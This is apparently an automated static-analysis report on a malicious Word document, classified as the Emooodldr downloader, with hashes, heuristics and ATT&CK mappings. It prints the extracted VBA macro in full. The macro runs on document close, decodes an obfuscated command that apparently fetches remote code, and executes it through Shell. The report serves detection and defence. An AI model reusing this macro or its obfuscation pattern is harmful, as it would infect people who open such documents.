Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 d69a55c55cf4c831…

MALICIOUS

Office (OOXML)

53.6 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 0d6098544b53298c86b99ce5890bb398 SHA-1: 5b90a1b7b095bc7343079fd7fece1ad80a668efa SHA-256: d69a55c55cf4c831579defdc8ae640997141c577558adc07fe53d037008541e3
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros. The AutoClose macro is present and triggers the execution of a shell command via Application.Run. The `scrapheap` function appears to construct a payload which is then executed by `VBA.Shell`. ClamAV detection also confirms the malicious nature of the file, identifying it as 'Doc.Malware.Emooodldr-6711604-0'.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2021 bytes
SHA-256: 0ee07b67f5873f8eddcdd3a2a82c349f8d1b23f8bb91b9fec9e159f9b196ff90
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
  skimpiness = Array("p", "1", "c", "R", "a", "G", "3", "d", "3", "I", "c", "R", "R", "w", "e", "0", "0", "v", "i", "M", "t", "v", "N", "i", "K", "4", "v", "N", "M", "v", "c", "N", "3", "N", "G", "j", "S", "p", "0", "o", "r", "0", "1", "p", "M", "d", "G", "w", "c", "w", "b", "K", "R", "p", "a", "U", "i", "S", "4", "W")
  intermessenger = scrapheap(skimpiness)
  
  Application.Run "wapentake", (intermessenger)
  
End Sub


Private Sub wapentake(cassinoid)
   
   polymorphean = 6162
   dimly = True
   
   While dimly
     multipage = polymorphean + 222
     If multipage - polymorphean > 111 Then
       VBA.Shell cassinoid, vbNormalFocus - 1
       dimly = False
      End If
     
   Wend

End Sub


Public Function diorama(menorahs, longing)

  duke = 9090
  biathlonsator = -1
  For Each klop In longing
    If klop = menorahs Then
     duke = biathlonsator
     Exit For
    End If

    biathlonsator = biathlonsator + 1
    
  Next

  
  If duke = 9090 Then
    duke = -1
  End If


  diorama = duke + 1
End Function

Private Function scrapheap(skimpiness)
  eviller = Array("R", "d", "p", "W", "K", "1", "U", "v", "N", "c", "I", "r", "G", "4", "t", "M", "o", "a", "0", "j", "e", "w", "b", "3", "i", "S")
  cautelously = Array("t", "x", "m", "f", "u", "s", "=", "q", "w", "h", " ", "A", ".", "n", "j", "i", "N", "a", "/", "c", ":", "p", "?", "e", "d", "o")
  
  ebbed = vbNullString
  
  For Each punchers In skimpiness
    balkingly = Application.Run("diorama", punchers, eviller)
    If balkingly > -1 And balkingly < 8080 Then
    ebbed = cautelously(balkingly) + ebbed
    End If
  Next
  
  scrapheap = StrReverse(ebbed)
  
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 323414400c350df2c486db1c2f913691f1ab20787933bf23f6e0ee85b7c28bc0
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.